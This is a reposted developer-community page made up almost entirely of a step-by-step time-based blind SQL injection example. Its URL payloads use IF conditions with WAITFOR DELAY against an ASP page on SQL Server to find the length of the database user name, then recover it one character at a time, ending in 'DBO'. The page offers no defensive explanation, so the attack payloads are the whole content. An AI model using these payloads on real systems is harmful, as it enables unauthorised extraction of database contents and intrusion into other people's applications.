SQL_BlindInjection[Example]-阿里云开发者社区

SQL_BlindInjection[Example]

2017-11-15 893

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介：

> ####################################################***nbsp; 
> Blind SQL Injection Syntax for extracting the USER  
>  
 > 3 - Total Characters  
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--  
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--  
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--  
> (+10 seconds)  
 >  
 > D - 1st Character  
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97)  
> WAITFOR DELAY '00:00:10'-- (+10 seconds)  
 > http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98)  
> WAITFOR DELAY '00:00:10'--  
 > http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99)  
> WAITFOR DELAY '00:00:10'--  
 > http://***91;site***93;/page.asp?id=1; IF  
> (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  
 > (+10 seconds)  
 >  
 > B - 2nd Character  
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97)  
> WAITFOR DELAY '00:00:10'-- (+10 seconds)  
 > http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98)  
> WAITFOR DELAY '00:00:10'-- (+10 seconds)  
 >  
 > O - 3rd Character  
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97)  
> WAITFOR DELAY '00:00:10'-- (+10 seconds)  
 > http://***91;site***93;/page.asp?id=1; IF  
> (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--  
 > http://***91;site***93;/page.asp?id=1; IF  
> (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--  
 > (+10 seconds)  
 > http://***91;site***93;/page.asp?id=1; IF  
> (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--  
 > (+10 seconds)  
 > http://***91;site***93;/page.asp?id=1; IF  
> (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--  
 > http://***91;site***93;/page.asp?id=1; IF  
> (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--  
 > (+10 seconds)  
 >  
 > Database User = DBO  
>  
 >  
 >

***91;/LEFT***93;

本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/479423，如需转载请自行联系原作者

SQL_BlindInjection[Example]

热门文章

最新文章

相关课程

相关电子书

相关实验场景

热门

活动广场

任务中心

开发者评测

高校计划

乘风者计划

训练营

阿里云MVP

话题

直播

下载

镜像站

技术资料

插件

SQL_BlindInjection[Example]

热门文章

最新文章

相关课程

相关电子书

相关实验场景